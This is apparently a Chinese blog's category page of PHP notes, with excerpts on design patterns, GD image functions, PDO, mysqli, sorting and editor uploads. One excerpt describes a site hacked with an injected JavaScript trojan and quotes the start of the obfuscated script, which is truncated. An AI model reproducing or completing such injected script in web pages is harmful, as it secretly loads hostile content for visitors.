随笔分类 -  PHP笔记

摘要:首先我们要明确单例模式这个概念,那么什么是单例模式呢? 单例模式顾名思义,就是只有一个实例。 作为对象的创建模式, 单例模式确保某一个类只有一个实例,而且自行实例化并向整个系统提供这个实例, 这个类我们称之为 单例模式的要点有三个: 它们必须拥有一个构造函数,并且必须被标记为private 它们拥有一个保存类的实例的静态成员变量 它们拥有一个访问这个实例的公共的静态方法单例类。 阅读全文
posted @ 2014-10-08 10:54 sheevy 阅读(173) 评论(0) 推荐(0)
摘要:1. imagecreatetruecolor() 新建一个真彩色图像 resource imagecreatetruecolor ( int x_size, int y_size ) imagecreatetruecolor() 返回一个图像标识符,代表了一幅大小为 x_size 和 y_size 的黑色图像。 2. imagecolorallocate() 为一幅图像分配颜色 int imagecolorallocate ( resource image, int red, int green, int blue ) imagecolorallocate() 返回一个标识符,代表了由给定的 RGB 成分组成的颜色。red,green 和 blue 分别是所需要的颜色的红,绿,蓝成分。 阅读全文
posted @ 2014-10-08 10:49 sheevy 阅读(617) 评论(0) 推荐(0)
摘要:1. basename()返回路径的文件名部分$path='C:\AppServ\www\test\test.php';echo basename($path);//结果:test.php2. dirname()返回路径的目录部分$path='C:\AppServ\www\test\test.php... 阅读全文
posted @ 2014-10-08 10:48 sheevy 阅读(1493) 评论(0) 推荐(0)
摘要:1. preg_match()函数 preg_match()函数在字符串中搜索模式,如果存在则返回true,否则返回false $pattern='/php/'; $str='php100.com'; echo preg_match($pattern,$str); 输出结果:12. preg_g... 阅读全文
posted @ 2014-10-08 10:47 sheevy 阅读(167) 评论(0) 推荐(0)
摘要:PHP类常量的常见访问方法class Math { const num=3.14; public function showNum(){ return self::num; }}echo Math::num."";$math=new Math();echo $math->showNum();结果:... 阅读全文
posted @ 2014-10-08 10:46 sheevy 阅读(1749) 评论(0) 推荐(0)
摘要:PDO扩展为PHP访问数据库定义了一个轻量级的、一致性的接口,它提供了一个数据访问抽象层,这样,无论使用什么数据库,都可以通过一致的函数执行查询和获取数据。PDO支持的PHP版本为PHP5.1以及更高的版本,而且在PHP5.2下PDO默认为开启状态,下面是在php.ini中PDO的配置:extens... 阅读全文
posted @ 2014-10-08 10:44 sheevy 阅读(359) 评论(0) 推荐(0)
摘要:1 这是payment.php文件易宝支付接口测试 您的订单信息如下: " /> " /> " /> " /> " /> " /> " /> " /> " /> " /> " /> " /> " /> " /> 您的 订单号:" /> 您支付的金额:" /> 元 要支付的银行: 欢迎... 阅读全文
posted @ 2014-10-08 10:43 sheevy 阅读(6851) 评论(2) 推荐(1)
摘要:在Thinkphp项目中测试各种环境下的程序执行时间不使用缓存:query($sql));}$overtime=caltime();//结束时间echo '不使用缓存条件下程序执行时间是:'.($overtime-$starttime).'秒';?>结果:不使用缓存条件下程序执行时间是:0.0600... 阅读全文
posted @ 2014-10-08 10:40 sheevy 阅读(405) 评论(0) 推荐(0)
摘要:PHP冒泡与快速排序法 快速排序法: function sortArray($arr){ $count=count($arr); for($i=0;$i$arr[$j]){ $tem=$arr[$i]; $arr[$i]=$arr[$j]; $arr[$j]=$tem; 阅读全文
posted @ 2014-10-08 10:37 sheevy 阅读(157) 评论(0) 推荐(0)
摘要:KindEditor作为一款可视化的HTML编辑器用起来确实比较方便,其本身也自带了图片上传的处理 这里修改为TP上传处理图片,是为了保证上传图片的方便(目录独立于编辑器,便于增加水印等处理) 第一步:在模板html页面引入如下文件: 阅读全文
posted @ 2014-10-08 10:33 sheevy 阅读(4013) 评论(0) 推荐(0)
摘要:如何正确的利用PHP mysqli连接数据库。 1. 开启PHP的API支持 (1)首先修改您的php.ini的配置文件。 查找下面的语句: ;extension=php_mysqli.dll 将其修改为: extension=php_mysqli.dll (2)重新启动Apache/IIS,即可。 (3)说明:PHP需要单独的文件来支持这个扩展库,一般在PHP目录下的ext目录里能找到php_mysqli.dll文件(PHP <= 5.0.2 中是 libmysqli.dll),当然,在PHP的配置文件当中要有正确指向ext的信息(extension_dir)。假若您的PHP... 阅读全文
posted @ 2012-07-17 11:25 sheevy 阅读(388) 评论(0) 推荐(0)
摘要:今早正常打开网站后发现首页偏左后,第一反应该查看源码后发现,页面被挂上了JS马:<script>if(window.document)a=("v532b5".indexOf+Date).substr(0,6);aa=([1,2,3]['reverse']+[].reverse).substr(0,6);if(aa===a)f=[-30,-30,66,63,-7,1,61,72,60,78,70,62,71,77,7,64,62,77,30,69,62,70,62,71,77,76,27,82,45,58,64,39,58,70,62,1,0,59,72,61,82,0,2,52,9,54,2,84,-30,-30,-30,66,63,75,58,70,62,75,1,2,20,-30,-30,86,-7,62,69,76,62,-7,84,-30,-30,-30,61,72,60,78,70,62,71,77,7,80,75,66,77,62,1,-5,21,66,63,75,58,70,62,- 阅读全文
posted @ 2012-02-07 12:07 sheevy 阅读(1272) 评论(3) 推荐(0)
摘要:借助于smarty写一个流量分析表!这个分析表相比其它网站的流量统计更为美观,毕竟是人家自己做的,当然要做得很漂亮那,哈哈 阅读全文
posted @ 2011-10-07 09:14 sheevy 阅读(461) 评论(0) 推荐(0)
摘要:如果有一个好的编辑器或开发工具,能够极大提高我们的开发效率。下面介绍10个免费、强大的PHP编辑器/开发工具。这些编辑器拥有调试器、增量执行PHP脚本,查看每一行的所有变量值等功能。 阅读全文
posted @ 2011-09-03 17:15 sheevy 阅读(41344) 评论(2) 推荐(1)

无觅相关文章插件,快速提升流量